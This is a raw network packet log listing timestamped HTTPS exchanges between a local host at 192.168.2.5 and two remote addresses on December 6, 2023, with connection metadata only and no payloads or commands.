Dec 6, 2023 14:51:37.041892052 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.042068958 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.102783918 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.102849960 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.103013992 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.103024960 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.103141069 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.202076912 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.202142954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.202328920 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.202344894 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.202438116 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.262847900 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.262908936 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.263022900 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.263048887 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.263098001 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.304013968 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.304105997 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.304229975 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.304246902 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.304380894 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.400628090 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.400693893 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.400978088 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.400998116 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.401016951 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.401076078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.461414099 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.461488008 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.461569071 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.461586952 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.461709976 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.561516047 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.561582088 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.561696053 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.561718941 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.561747074 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.561809063 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.621639013 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.621676922 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.621871948 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.621891975 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.622013092 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.844813108 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.844830036 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.844897032 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.845037937 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.845074892 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.845208883 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.845227003 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.845254898 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.845334053 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.845398903 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.921575069 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.921612024 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.921750069 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.921768904 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.921878099 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.981777906 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.981817007 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.981961012 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:37.981976986 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:37.982068062 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.101054907 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.101099014 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.101373911 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.101373911 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.101418972 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.101479053 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.161274910 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.161310911 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.161526918 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.161545992 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.161644936 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.244647980 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.244704962 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.244812965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.244824886 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.244875908 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.341259956 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.341321945 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.341388941 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.341412067 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.341466904 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.341478109 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.382961035 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.383061886 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.383187056 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.383198977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.383325100 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.481401920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.481466055 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.481703997 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.481720924 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.481831074 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.542113066 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.542176008 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.542361021 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.542372942 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.542490959 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.660217047 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.660247087 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.660341978 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.660352945 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.660398960 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.703564882 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.703619957 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.703775883 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.703784943 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.703910112 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.782850027 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.782923937 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.783082962 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.783094883 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.783214092 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.883349895 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.883414984 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.883532047 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.883548021 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.883680105 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.901896954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.901987076 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.902070045 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:38.902085066 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:38.902187109 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.022922039 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.022988081 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.023094893 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.023104906 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.023226976 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.062582970 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.062652111 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.062766075 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.062773943 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.062882900 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.101450920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.101555109 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.101615906 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.101624012 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.101737022 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.202299118 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.202363968 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.202430964 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.202444077 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.202558994 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.260381937 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.260442972 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.260488033 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.260495901 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.260550976 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.322351933 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.322415113 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.322494030 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.322504044 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.322571039 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.343815088 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:39.343861103 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:39.343969107 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:39.344784021 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:39.344803095 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:39.422874928 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.422938108 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.423080921 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.423080921 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.423094034 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.423141956 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.622703075 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.622777939 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.622905970 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.622960091 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.622972965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.622972965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.622987032 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.622997046 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.623034000 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.623071909 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.623200893 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.623244047 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.623276949 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.623297930 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.623318911 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.623358011 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.642646074 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.642707109 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.642879009 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.642879009 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.642889977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.642937899 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.782422066 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.782490969 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.782841921 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.782867908 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.782943964 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.821855068 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.821949005 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.822043896 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.822056055 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.822197914 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.897687912 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:39.897802114 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:39.900228977 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:39.900249004 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:39.900651932 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:39.921034098 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:39.964773893 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:39.981978893 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.982043028 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.982129097 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.982144117 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.982247114 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.982882977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.982928991 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.982990026 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:39.982996941 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:39.983122110 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.142540932 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.142596006 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.142967939 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.142981052 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.143064976 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.163372040 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.163446903 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.163541079 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.163551092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.163661957 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.322360039 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.322426081 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.322599888 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.322618961 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.322729111 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.342869043 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.342930079 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.343054056 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.343070984 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.343199015 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.403459072 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.403523922 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.404025078 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.404055119 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.404145002 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.423439026 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.423506021 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.423651934 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.423755884 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:40.423821926 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.423861980 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.423891068 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.423904896 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:40.423988104 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:40.439543962 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:40.439543962 CET	49718	443	192.168.2.5	40.68.123.157
Dec 6, 2023 14:51:40.439608097 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.439644098 CET	443	49718	40.68.123.157	192.168.2.5
Dec 6, 2023 14:51:40.522885084 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.522953987 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.523124933 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.523140907 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.523267984 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.763381958 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.763451099 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.763576031 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.763710022 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.763731003 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.763748884 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.763760090 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.763849974 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.862768888 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.862847090 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.863070965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.863080978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.863166094 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.903109074 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.903244972 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.903285027 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.903301954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:40.903321028 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:40.903795958 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.062676907 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.062738895 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.062971115 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.063000917 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.063061953 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.123488903 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.123544931 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.123625994 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.123645067 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.123718023 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.242157936 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.242183924 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.242324114 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.242337942 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.242399931 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.302850962 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.302879095 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.303143024 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.303179979 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.303339005 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.422657967 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.422683954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.422904968 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.422939062 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.422996998 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.482580900 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.482618093 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.482884884 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.482918024 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.482976913 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.603178978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.603209019 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.603692055 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.603727102 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.604176998 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.662266970 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.662297964 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.662796974 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.662847042 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.662908077 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.782548904 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.782578945 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.783020020 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.783045053 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.783148050 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.842928886 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.842955112 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.843432903 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.843472958 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.843841076 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.963383913 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.963417053 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.963495016 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.963517904 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:41.963551998 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:41.963582039 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:42.022563934 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:42.022597075 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:42.022670031 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:42.022689104 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:42.022737026 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:42.142869949 CET	443	49717	185.23.108.224	192.168.2.5
